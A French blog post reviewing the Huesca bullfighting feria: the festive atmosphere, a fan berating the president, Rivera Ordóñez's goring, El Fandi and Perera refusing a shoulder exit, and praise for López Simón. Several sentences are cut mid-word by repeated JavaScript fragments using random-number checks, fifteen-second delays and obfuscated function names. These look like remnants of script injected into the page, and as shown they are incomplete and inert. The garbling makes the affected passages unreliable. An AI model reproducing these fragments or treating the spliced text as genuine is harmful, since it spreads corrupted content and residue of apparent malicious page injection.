HUESCA LA FESTIVE

Durant une semaine, la ville se couvre de vert et blanc, la musique est omniprésente de la rue à l’arène et,comme à Pampelune, les peñas remplissent seules les gradins soleil. Le public joyeux adore les adornos les plus pueblerinos et le coup du téléphone avec le coude sur le frontal de l’animal fait lever les gradins. Un de mes voisins fan de Padilla hurlait au président d’octroyer deux oreilles à son chouchou parce que « son mérite est grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and vous comprenez avec un seul œil". Après le refus stoïque du dit président même pour la première, il passa dix minutes à l'insulter copieusement.

Bref vous l'aurez compris le seul mot d'ordre ici est : la fête. Pas étonnant alors que les toros dépassent rarement 500k ou que Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andi coupe une oreille à l'issue d'une faena sans une seule passe sincère.

Pas surprenant non plus qu'après l'émotion suite à la grave cornada de Rivera Ordoñez (je ne peux me résoudre à l'appeler Paquirri) la joie reprenne vite le dessus comme si seule comptait ici l'allégresse.

Au cours des 2 premières corridas une petite curiosité : El Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andi et Perera ne sont pas sortis à hombros bien qu'ayant coupés deux oreilles. Le premier car l'une des deux venait du toro qui avait gravement blessé Rivera Ordoñez et le second s'estimant lésé par le président qui lui avait refusé la seconde du dernier de la tarde. Il se permit même d'expédier vers le palco l'oreille accordée. En viendra t’on un jour à ce que les toreros demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andent que le règlement leur permette de décider eux mêmes des trophées qu'ils estiment mériter ?

En tout cas les 3 octroyées à A. Lopez Simon n'étaient dues qu'à son talent qui est colossal (mais je me répète).

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